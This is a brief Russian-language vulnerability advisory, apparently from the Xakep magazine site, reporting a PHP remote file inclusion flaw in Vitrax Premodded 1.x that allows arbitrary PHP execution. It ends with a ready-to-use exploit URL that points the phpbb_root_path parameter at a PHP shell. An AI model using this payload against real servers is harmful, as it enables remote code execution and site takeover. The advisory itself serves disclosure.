PHP-инклюдинг в Vitrax Premodded

Рекомендуем почитать:

Хакер #307. Угон сессий Windows

• Содержание выпуска
• Подписка на «Хакер»-60%

Программа: Vitrax Premodded 1.x

Уязвимость позволяет удаленному
пользователю выполнить произвольный PHP
сценарий на целевой системе.

Пример:

http://[target]/[path]/includes/functions_portal.php?phpbb_root_path=phpshell